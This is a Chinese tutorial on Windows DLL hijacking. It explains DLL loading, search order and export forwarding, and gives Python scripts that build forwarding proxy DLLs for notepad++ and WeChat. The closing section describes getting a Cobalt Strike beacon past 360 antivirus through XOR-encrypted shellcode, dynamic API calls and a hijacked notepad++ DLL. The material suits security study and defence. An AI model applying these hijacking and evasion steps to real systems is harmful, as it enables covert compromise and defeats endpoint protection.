天天看點

了解DLL劫持從零到CobaltStrike上線免殺

作者:區塊軟體開發

前置知識

什麼是DLL

  • 計算機中,有些檔案專門用于存儲可以重複使用的代碼塊,例如常用的函數或類,我們通常稱其為"庫"(Library),以c語言舉例,如下為大家展示的就是一個函數庫,其提供了 add 和 sub 兩個函數:
// math.c
int add(int a, int b) {
	return a + b;
}

int sub(int a, int b) {
	return a - b;
}
           
  • 所謂連結庫?即将我們上述的這個 math.c 源代碼檔案通過編譯器進行編譯後得到的二進制檔案。
  • 一個完整的 C 語言項目可能包含多個 .c 源檔案,項目運作需要經過 "編譯"和"連結"兩個階段:
1.編譯:
由編譯器逐個對 c 源代碼檔案做詞法分析、文法分析等操作,最終生成多個目标二進制檔案,但由于它們互相之間會調用對方的函數或變量,還可能會調用某些連結庫中的函數和變量,編譯器無法跨檔案找到它們确切的存儲位置,是以這些目标二進制檔案無法單獨運作。
2.連結:
對于每個目标二進制檔案中缺失的函數和變量的存儲位址,由連結器負責修複,并最終将所有的目标檔案和連結庫組織成一個可執行檔案。
連結器完成連結工作的方式有兩種:
(1)無論目标二進制檔案中缺失的位址位于其他其它目标檔案還是連結庫,連結器都會逐個找到各個目标檔案中缺失的位址,采用此連結方式生成的可執行檔案,可以獨立載入記憶體中運作,我們稱這種方式為靜态連結,用到的連結庫為靜态連結庫;
(2)連結器先從所有目标二進制檔案中找到部分缺失的位址,然後将所有目标檔案組織成一個可執行檔案。如此生成的可執行檔案,仍然缺失部分函數和變量的位址,待檔案執行時,需連同所有的連結庫檔案一起載入記憶體,再由連結器完成剩餘的位址修複工作,才能正常執行。這種方式中,連結所有目标檔案的方法仍屬于靜态連結,而載入記憶體後進行的連結操作稱為動态連結,此時用到的連結庫稱為動态連結庫DLL(Dynamic Link Library)。
           
  • 使用動态連結庫好處在于減小了程式的體積,解決了空間的浪費,友善程式的更新和更新等等。

DLL加載過程

什麼是DLL導出函數

  • 在windows平台上,動态連結庫的函數或者變量要想被外界調用,必須在函數聲明過程中通過__declspec(dllexport)修飾,而這些函數被稱為導出函數,類似如下:
__declspec(dllexport) int add(int a, int b);
           

隐式加載

  • 以下圖展示了隐式加載的過程:
1.左邊是dll程式編譯過程,生成了 dll 檔案和一個 lib 檔案;這裡的 lib 檔案不是指的靜态連結庫,而是列出了這個 dll 中哪些函數和變量允許被外界調用,記錄的資訊包含函數和變量的名稱以及它們在動态庫中的存儲位置。
2.右邊是主程式exe的編譯過程,其需要引入dll程式的頭檔案,該頭檔案聲明了要主程式需要使用的dll的導出函數,經過編譯後生成的目标二進制檔案,需要經過靜态連結将lib檔案和目标二進制檔案連結到一起形成二進制可執行檔案。
3.最後可執行檔案在載入記憶體後,同時由動态連結器識别到主程式所要引入的dll,進而将所需要的dll也載入記憶體,之後程序的主線程開始執行,應用程式啟動運作。
           
了解DLL劫持從零到CobaltStrike上線免殺

顯式加載

  • 以下圖展示了顯式加載的過程:
1.左邊是dll程式編譯過程,最終生成了一個dll檔案和一個lib檔案,但是與隐式加載不同的是,我們的主程式exe在編譯和靜态連結過程中并不需要引入dll的頭檔案和lib檔案。
2.主程式載入記憶體,主線程開始執行,應用程式啟動運作。
3.主線程或其中某個線程調用LoadLibrary(EX)函數,将DLL加載到程序的記憶體空間,然後該線程調用GetProcAddress函數擷取需要調用的dll的導出函數的位址,最後通過函數指針傳參調用該函數;
(1)通過LoadLibrary函數指定DLL名稱将DLL加載進記憶體;
(2)通過GetProcAddress函數根據導出函數的名稱擷取記憶體位址;
(3)通過函數指針傳參調用該函數;
           
了解DLL劫持從零到CobaltStrike上線免殺

延遲加載

什麼是延遲加載?其本質和顯式加載是一樣的,都會調用LoadLibrary和GetProcAddress函數,都是在程式運作過程中才将DLL載入記憶體;但是在開發人員的使用層面上,比顯式加載使用起來友善,開發者隻需要在visual studio的連結器選項中設定一下即可讓隐式加載的"主程式載入記憶體時一起載入所需要的DLL"轉變為顯式加載的"程式使用到該DLL的函數時再載入DLL"。
           

DLL函數轉發

  • DLL函數轉發用途在于将對一個函數的調用轉至另一個DLL中的函數,舉個例子:
A DLL,其導出函數有 sub_1,可以供主程式 exe 調用;
B DLL,其導出函數有 add_2, sub_2,但是開發者開發時,标記了 sub_2 函數實際調用的是 A DLL 的 sub_1 函數,那麼主程式在調用的時候:
exe -> sub_2 -> sub_1,即 sub_2 隻是起到一個中轉的作用,前面講到,我們在調用 DLL 的導出函數時,需要将對應的 DLL 載入記憶體,擷取到其導出函數的記憶體位址,才能進行調用,是以 exe 在調用 B DLL的 add_2 和 sub_2 函數時,不僅需要将 B DLL 載入記憶體,而且還需要将 A DLL 載入記憶體。
這個知識點對我們後續開發惡意DLL有很重要的作用。
           

DLL重定向

  • 背景是基于某些公共的DLL,如 msvcrt.dll、user32.dll等等,這些公共的 dll 一般會提前被其它程序所加載,那麼新的應用程式啟動加載時,也是直接從記憶體中進行加載和調用,我們要想新應用程式加載我們的的 dll 來替代公共的 dll,就可以用到 dll 重定向的方式,其開啟方式通過設定系統資料庫:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Option
           
  • 添加 DevOverrideEnable(DWORD)字段設定為1,然後重新開機後生效,此時應用程式啟動時,優先加載我們的 "user32.dll",這段一會兒講完路徑劫持後回來看一下;

dll劫持原理及分類

dll路徑劫持

  • 背景是:當應用程式加載 DLL 時,如果是顯式加載的情況下,僅指定 DLL 名稱的話,其預設按如下順序搜尋 DLL 檔案:
1.應用程式所在的目錄;
2.系統目錄,使用 GetSystemDirectory 擷取該路徑;(64位程式預設c:\windows\system32,32位程式預設為c:\windows\syswow64)
3.16 位系統目錄;
4.Windows 目錄(預設c:\windows\);
5.目前目錄;
6.PATH 環境變量中列出的目錄;
           
  • 注:預設情況下安全 DLL 搜尋模式被開啟,即按上述順序進行搜尋,該搜尋模式的開關由系統資料庫項HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode進行控制,若關閉,則 5.目前目錄和 2.系統目錄位置進行調換。
  • 如果是隐式加載和延遲加載的話,預設按如上方式進行DLL搜尋,正因為這個搜尋順序的原因,使得攻擊者可以将同名稱的惡意DLL放置于正常DLL的搜尋順序之前,導緻應用程式加載了惡意的DLL。
  • 舉個栗子:
A 應用程式需要加載 b.dll,正常的 b.dll 位于 C:\Windows\System32目錄(即系統目錄),如果我們将惡意的 b.dll 放置于應用程式所在目錄的話,則在應用程式搜尋 dll 過程中,會優先加載我們的惡意 dll。
           

dll重定向劫持

  • 前面講到,dll重定向是通過系統資料庫項HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Option進行控制的,我們可以對該系統資料庫項添加DevOverrideEnable(DWORD)字段并設定為1來開啟該功能,計算機重新開機後生效。
  • 其用途在于對于公共DLL的劫持,舉個栗子,應用程式notepad++.exe加載了a.dll,該dll會被作業系統放到全局緩存中,當 xxx.exe 也要使用同名稱的 a.dll 時,就不再去磁盤搜尋該 dll,而是直接從緩存中讀取該 DLL 加載到 xxx.exe 的程序空間中。
  • 但是有一種方式,可以讓 xxx.exe 強制加載我們編寫的 a.dll,而不去管全局緩存中是否存在該 dll,這裡提到的即 DLL 重定向。
  • 但是該項技術不能用于劫持核心的動态連結庫:如kernel32.dll和ntdll.dll;
1.kernel32.dll:這個 DLL 檔案包含了許多常用的系統函數,例如檔案、記憶體、程序、線程、時間等操作函數。它是使用者模式和核心模式之間的接口,負責管理系統資源、提供系統服務和執行系統調用等。在開發 Windows 應用程式時,經常會使用 kernel32.dll 來調用系統函數和作業系統服務。
2.ntdll.dll:這個 DLL 檔案包含了許多 Windows 作業系統核心的基本元件,例如程序、線程、記憶體、安全、對象管理等。它是 kernel32.dll 的基礎,提供了更底層的系統調用接口,同時也提供了一些核心級别的函數和服務。在開發 Windows 核心模式驅動程式時,通常會使用 ntdll.dll 來調用核心級别的函數和服務。
           
  • 但是如 user32.dll,它是 Windows 作業系統的一個動态連結庫檔案,它包含了許多使用者界面的函數和服務,主要負責管理和控制 Windows 應用程式的使用者界面,它是可以被 dll 重定向劫持的。

開發惡意DLL

如何知道程式啟動時加載的DLL

  • 可以使用process explorer或者process monitor來監控應用程式啟動時加載的DLL,如下圖,我們啟動了一個 notepad.exe 程式,可以看到加載了如下這些 DLL。
了解DLL劫持從零到CobaltStrike上線免殺
  • 我們可以從這裡看到它加載的所有 DLL,但是沒法去看到哪些是公共的 DLL,但是也沒法區分,隻能列舉一些常見的:
在 Windows 作業系統中,有很多常用的公共 DLL,這些 DLL 包含了許多常用的 Windows API 函數,是許多應用程式所依賴的核心 DLL。以下是一些常用的公共 DLL:

1.kernel32.dll:包含了許多系統級别的函數,如記憶體管理、程序管理、線程管理、時間和日期操作、檔案操作等。
2.user32.dll:包含了許多使用者界面函數,如視窗管理、菜單管理、消息處理、剪貼闆操作等。
3.gdi32.dll:包含了許多圖形裝置接口函數,如繪圖、字型、顔色管理等。
4.advapi32.dll:包含了許多進階系統函數,如系統資料庫操作、安全權限管理、事件日志管理等。
5.shell32.dll:包含了許多 shell 相關的函數,如檔案和檔案夾操作、快捷方式管理、控制台管理等。
6.comctl32.dll:包含了許多常用的控件和視窗樣式,如按鈕、編輯框、進度條、滾動條等。
7.ole32.dll:包含了許多 COM 和 OLE 技術相關的函數,如對象建立、接口調用、記憶體管理等。

需要注意的是,以上 DLL 隻是一些常用的公共 DLL,實際上 Windows 作業系統中還有很多其他的公共 DLL,它們都是許多應用程式所依賴的核心 DLL。
           
  • 另外我們收縮一下這個範圍,確定我們能劫持的DLL是目前應用程式在其目錄搜尋的DLL,比如notepad.exe檔案目錄為E:\notepad++\,則按如下添加filter選項:
Column Relation Value Action
Process Name contains Notepad Include
Path Contains E:\notepad++\ Include
Path Contains .*.dll Include
Path Contains .exe Exclude
Path Contains .xml Exclude
了解DLL劫持從零到CobaltStrike上線免殺
  • 如上所示,結合process explorer比較直覺的能看到目前notepad++.exe程序加載的dll的實際路徑,通過process monitor我們發現notepad++.exe程序在啟動的時候嘗試在E:\notepad++\目錄搜尋某個DLL但是沒有找到,這樣在程式E:\notepad++\目錄下搜尋的DLL,劫持起來比較友善,我們隻需要将開發的惡意DLL和notepad++.exe程式放在同一目錄下,然後啟動notepad++.exe就可以加載我們的惡意DLL了;

編寫惡意DLL

  • 編寫惡意DLL的時候,需要注意幾個點:
1.為了保證應用程式的正常執行,應用程式會調用正常DLL的導出函數,這意味着我們編寫惡意DLL的時候也需要保證應用程式的正常執行,這裡可以利用之前講到的DLL函數轉發的方式;
           
  • 這裡以劫持notepad++.exe加載的dbghelp.dll為例,我們如果不用函數轉發的方式,而直接将同名DLL放置于其目錄的話,程式無法正常運作:
了解DLL劫持從零到CobaltStrike上線免殺
  • 原因在于該應用程式會調用dbghelp.dll的導出函數,是以我們需要通過函數轉發來實作該應用程式的正常執行;
  • 我們可以利用 .def 檔案實作函數轉發,以劫持,首先我們要生成def檔案,需要找到其原始調用的DLL,如下圖,可以通過process explorer來找到其加載的原始的dbghelp.dll的路徑:
了解DLL劫持從零到CobaltStrike上線免殺
  • 如果可知路徑為:c:\Windows\System32\dbghelp.dll,可使用如下python代碼來生成對應的def檔案:
"""
desc: 根據 pe 檔案生成對應的 def 檔案,其中包含所有轉發的導出函數
"""

import argparse
import os
import pefile

def generate_def_file(pe_path: str, def_path: str):
    pe = pefile.PE(pe_path)

    with open(def_path, 'w') as f:
        f.write(f"LIBRARY {os.path.splitext(os.path.basename(pe_path))[0] + '.dll'}")
        f.write("\n")

        f.write("EXPORTS\n")
        for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
            # Ignore non-exported symbols
            if not exp.name:
                continue

            f.write("    " + exp.name.decode() + " = " + os.path.basename(pe_path).split('.')[0] + "_origin" + "." + exp.name.decode() + " @" + str(exp.ordinal) + "\n")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Generate DEF file from a DLL file')
    parser.add_argument('--pe_path', required=True, help='The path of the DLL file to generate the DEF file from')
    parser.add_argument('--def_path', required=True, help='The path of the generated DEF file')

    args = parser.parse_args()

    generate_def_file(args.pe_path, args.def_path)
           
  • 生成def檔案如下:
了解DLL劫持從零到CobaltStrike上線免殺
  • 我們通過Visual Studio開發惡意DLL的時候,需要将其加入到項目中,目的是告訴靜态連結器,這部分函數的調用需要由動态連結器來加載另一個DLL;
  • 然後在開發惡意DLL的時候,我們需要對待轉發的函數進行聲明和定義,但是這部分待轉發的函數不需要精确的傳回值、參數以及實作,我們可以通過自動化的生成(靠讀取我們的def檔案)
  • 根據def檔案自動生成待轉發函數的聲明和定義的代碼如下:
"""
desc: 根據 def 檔案生成對應的函數聲明和函數定義
"""

import argparse

def generate_func_declaration(def_path, header_path):
    with open(def_path, 'r') as f:
        functions = []
        for line in f:
            if '=' in line:
                func_name = line.split('=')[0].strip()
                functions.append(func_name)

    with open(header_path, 'w') as f:
        f.write('#ifndef FUNCTION_DECLARATION_H\n')
        f.write('#define FUNCTION_DECLARATION_H\n')
        for func_name in functions:
            f.write('extern void {0}();\n'.format(func_name))
        f.write('#endif\n')

def generate_func_definition(def_path, source_path):
    with open(def_path, 'r') as f:
        functions = []
        for line in f:
            if '=' in line:
                func_name = line.split('=')[0].strip()
                functions.append(func_name)

    with open(source_path, 'w') as f:
        for func_name in functions:
            f.write('void {0}() {{}}\n'.format(func_name))

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Generate function declaration and definition files from a .def file')
    parser.add_argument('--def_file', type=str, help='path to the .def file')
    parser.add_argument('--header_file', type=str, help='path to the header file to output')
    parser.add_argument('--source_file', type=str, help='path to the source file to output')
    args = parser.parse_args()

    generate_func_declaration(args.def_file, args.header_file)
    generate_func_definition(args.def_file, args.source_file)

    print('Function declaration and definition files generated successfully.')
           
  • 最終惡意DLL的結構圖如下:
了解DLL劫持從零到CobaltStrike上線免殺
  • 我們隻需要在payload函數中編寫我們的惡意代碼即可,其它檔案都可以自動生成;
  • 最終我們将原始的C:\Windows\System\dbghelp.dll複制一份到notepad++.exe目錄下,并重命名為dbghelp_origin.dll,然後将我們編寫的惡意的dbghelp.dll一同放置到notepad++.exe目錄下,如下圖:
了解DLL劫持從零到CobaltStrike上線免殺
  • 執行notepad++.exe,可以發現我們的"惡意代碼(彈電腦)"被執行了,如下圖:
了解DLL劫持從零到CobaltStrike上線免殺
  • 可以看到我們的惡意dbghelp.dll和正常的dbghelp_origin.dll一同加載到了notepad++.exe的程序空間中;
  • 當然不止這一種開發惡意DLL的方式,其它方式暫不在這裡讨論;

按以上方法,劫持微信加載的DLL

  • 2023年3月份下載下傳的最新版微信,其安裝目錄結構如下:
  • 它的安裝目錄比較新奇,就是其目錄下有個名稱為"版本号"的檔案夾,裡面存放了它要加載的大部分DLL,包括它要加載的一些微軟的DLL,如dbghelp.dll
了解DLL劫持從零到CobaltStrike上線免殺
  • 可能考慮到dbghelp.dll通過微軟不斷的更新,是以這裡微信自帶了一個版本的dbghelp.dll,考慮到可能在新版dbghelp.dll上不相容之類的情況;
  • 另外還有一些微軟的,但是微信沒有帶上的DLL,如version.dll,我們劫持來看一下,如下圖:
  • 為什麼微信要加載微軟的version.dll呢?這個dll對于微信來說有什麼用呢?version.dll介紹如下:
Version.dll is a Dynamic Link Library (DLL) file that is included with the Microsoft Windows operating system. It provides various functions related to version information for applications and other system components.

When an application loads the version.dll, it can use its functions to retrieve information about the version of the operating system or other software components installed on the system. This information can be used by the application to determine compatibility requirements, to provide feature-specific behavior, or to identify bugs that may be related to a specific version of a component.

Here are some common functions provided by version.dll:

1.GetFileVersionInfo: Retrieves version information for a specified file.
2.VerQueryValue: Retrieves a specific value from the version information for a specified file.
3.GetFileVersionInfoSize: Determines the size of the version information for a specified file.
4.GetFileVersionInfoEx: Retrieves extended version information for a specified file.
5.GetFileVersionInfoSizeEx: Determines the size of the extended version information for a specified file.

Overall, the version.dll is a useful tool for developers and applications that need to retrieve and analyze version information for various software components.
           
  • 那現在可以知道了,version.dll提供的API主要是關于檢索檔案相關版本資訊、大小等資訊的。
  • 上述都是劫持應用加載的微軟的DLL,我們嘗試劫持應用自己的DLL呢?我們先分析一下微信程式加載的DLL的分類,如下圖:
了解DLL劫持從零到CobaltStrike上線免殺
  • 微信的DLL有存在以下幾種情況:
# 所有微信自帶的DLL(帶有騰訊數字簽名的DLL):
WeUIResource.dll
WeChatWin.dll
WeChatResource.dll
wcprobe.dll
VoipEngine.dll
mmtcmalloc.dll
mmmojo.dll
libFFmpeg.dll
andromeda.dll

1.WeUIResource.dll # 不存在導出函數
2.WeChatWin.dll、WeChatResource.dll、VoipEngine.dll、andromeda.dll # 導出函數亂碼,類似如下:
           
了解DLL劫持從零到CobaltStrike上線免殺
  • 亂碼導緻通過pefile_generate_def.py生成的.def檔案中的函數也是?,進而不能用(不是不能用,是我不會~);
3.wcprobe.dll # 導出函數隻有序号,沒有名稱,如下圖:
           
了解DLL劫持從零到CobaltStrike上線免殺
4.mmtcmalloc.dll、mmmojo.dll、libFFmpeg.dll、 # 導出函數較少,沒有亂碼,比較适合劫持,如下圖:
           
了解DLL劫持從零到CobaltStrike上線免殺
了解DLL劫持從零到CobaltStrike上線免殺

DLL劫持在現實攻擊活動中的應用

APT攻擊下的dll劫持應用

  • 某APT組織劫持迅雷的DLL搞事情,參考連結:https://www.welivesecurity.com/2023/02/16/these-arent-apps-youre-looking-for-fake-installers/
了解DLL劫持從零到CobaltStrike上線免殺

dll劫持在實際終端安全産品中的繞過效果

  • 利用notepad++程式的DLL,上線Cobalt Strike;
# 分三步:
1.需要對 Cobalt Strike 生成的 shellcode 進行加密混淆繞過 360 靜态清除;
2.需要對我們編寫的惡意 DLL 所使用的敏感 API 如VirtualAlloc、WriteProcessMemory、CreateThread進行動态調用以避免在DLL導入表中連續出現好幾個敏感的 API;
3.通過劫持 notepad++ 的 DLL,繞過 360 動态清除上線 Cobalt Strike;
           
  • xor加密混淆:
#include <stdio.h>

/* 将 shellcode 進行 xor 加密并輸出到 encrypted_data.c 檔案中 */

int main() {
    /* length: 892 bytes */
    /* 如下是 shellcode xor 加密操作 */
    unsigned char buf[] = "你的shellcode";

    unsigned char key = 0x5A; // 設定加密密鑰
    int length = sizeof(buf) / sizeof(unsigned char);
    for (int i = 0; i < length; i++) {
       buf[i] ^= key; // 将密鑰與每個位元組進行異或操作
    }

    FILE* fp = fopen("encrypted_data.c", "w"); // 打開檔案以寫入資料
    if (!fp) {
       printf("Error opening file for writing!\n");
       return 1;
    }

    fprintf(fp, "unsigned char buf[] = {"); // 輸出數組定義的頭部

    // 輸出加密後的資料
    for (int i = 0; i < length; i++) {
       fprintf(fp, "0x%02X", buf[i]);
       if (i < length - 1) {
           fprintf(fp, ",");
       }
    }

    fprintf(fp, "};"); // 輸出數組定義的尾部

    fclose(fp);
    return 0;
}
           
  • 最終代碼如下:
了解DLL劫持從零到CobaltStrike上線免殺
  • CobaltStrike上線:
了解DLL劫持從零到CobaltStrike上線免殺

建議:請及時更新殺毒病毒庫,以及多注意安全防範。

from https://www.freebuf.com/articles/endpoint/366348.html